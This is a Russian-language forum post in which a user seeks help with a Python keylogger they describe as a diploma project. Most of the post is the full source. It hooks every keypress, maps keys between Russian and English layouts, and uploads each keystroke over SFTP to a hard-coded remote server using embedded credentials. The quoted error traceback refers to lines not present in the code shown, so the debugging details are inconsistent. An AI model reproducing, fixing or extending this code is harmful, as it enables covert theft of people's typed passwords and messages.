Новичок
Джуниор
Регистрация: 08.06.2023
Сообщений: 1
|
Не работает код python
Добрый день, столкнулся с такой проблемой. Пишу кейлоггер для дипломного проекта, было решено сделать запись символа в файл на сервере. Собираю решение в Sublime text, все работает, аналогично pycharm. Если запустить в Windows, то выходит такой текст и консоль сразу закрывается:
Traceback (most recent call last):
File test.py, line 11, in module
remotepath = '/home/stepan/logs.txt' # это путь куда сохраним наш файл на другом пк
File "paramiko\sftp_client.py", line 757, in put
FileNotFoundError: [WinError 2] Не удается найти указанный файл: '123.txt'
[2960] Failed to execute script 'test' due to unhandled exception
Код:
import keyboard
import paramiko
from ctypes import windll
import os
host = '192.168.1.32' # тут должен быть ip твоего сервера на котором настроенно ssh
user = 'stepan' # это логин для входа в систему
secret = '123456' # ну тут понятно пароль от юзера
port = 22 # порт
def get_current_keyboard_layout():
hwnd = windll.user32.GetForegroundWindow()
thread_id = windll.user32.GetWindowThreadProcessId(hwnd, 0)
layout_id = windll.user32.GetKeyboardLayout(thread_id)
return layout_id & 0xFFFF
def convert_key_to_russian(key):
# Словарь с соответствиями символов для русской раскладки
conversion_map = {
'q': 'й', 'w': 'ц', 'e': 'у', 'r': 'к', 't': 'е',
'y': 'н', 'u': 'г', 'i': 'ш', 'o': 'щ', 'p': 'з',
'[': 'х', ']': 'ъ', 'a': 'ф', 's': 'ы', 'd': 'в',
'f': 'а', 'g': 'п', 'h': 'р', 'j': 'о', 'k': 'л',
'l': 'д', ';': 'ж', "'": 'э', 'z': 'я', 'x': 'ч',
'c': 'с', 'v': 'м', 'b': 'и', 'n': 'т', 'm': 'ь',
',': 'б', '.': 'ю', '/': '.'
}
converted_key = conversion_map.get(key.lower(), key)
if key in ['shift', 'alt', 'ctrl', 'caps lock', 'tab', 'enter', 'space', 'backspace']:
converted_key = ' ' + converted_key + ' ' # Добавляем пробел после специальных клавиш
return converted_key
def convert_key_to_english(key):
# Словарь с соответствиями символов для английской раскладки
conversion_map = {
'й': 'q', 'ц': 'w', 'у': 'e', 'к': 'r', 'е': 't',
'н': 'y', 'г': 'u', 'ш': 'i', 'щ': 'o', 'з': 'p',
'х': '[', 'ъ': ']', 'ф': 'a', 'ы': 's', 'в': 'd',
'а': 'f', 'п': 'g', 'р': 'h', 'о': 'j', 'л': 'k',
'д': 'l', 'ж': ';', 'э': "'", 'я': 'z', 'ч': 'x',
'с': 'c', 'м': 'v', 'и': 'b', 'т': 'n', 'ь': 'm',
'б': ',', 'ю': '.', '.': '/'
}
converted_key = conversion_map.get(key.lower(), key)
if key in ['shift', 'alt', 'ctrl', 'caps lock', 'tab', 'enter', 'space', 'backspace']:
converted_key = ' ' + converted_key + ' ' # Добавляем пробел после специальных клавиш
return converted_key
def on_key_press(event):
layout_id = get_current_keyboard_layout()
print("Key Pressed:", event.name)
print("Current Keyboard Layout:", layout_id)
if layout_id == 1049:
converted_key = convert_key_to_russian(event.name)
print("Converted Key (Russian):", converted_key)
transport = paramiko.Transport((host, port))
transport.connect(username=user, password=secret)
sftp = paramiko.SFTPClient.from_transport(transport)
# Открываем файл на запись (если файл не существует, будет создан новый)
with sftp.open('/home/stepan/logs.txt', 'a') as file:
file.write(converted_key)
sftp.close()
transport.close()
elif layout_id == 1033:
converted_key = convert_key_to_english(event.name)
print("Converted Key (English):", converted_key)
transport = paramiko.Transport((host, port))
transport.connect(username=user, password=secret)
sftp = paramiko.SFTPClient.from_transport(transport)
# Открываем файл на запись (если файл не существует, будет создан новый)
with sftp.open('/home/stepan/logs.txt', 'a') as file:
file.write(converted_key)
sftp.close()
transport.close()
# Регистрация обработчика нажатия клавиш
keyboard.on_press(on_key_press)
try:
while True:
keyboard.wait()
raise RuntimeError()
except Exception as error:
print(error)
Последний раз редактировалось Milyy_Avgustin; 08.06.2023 в 11:56.
|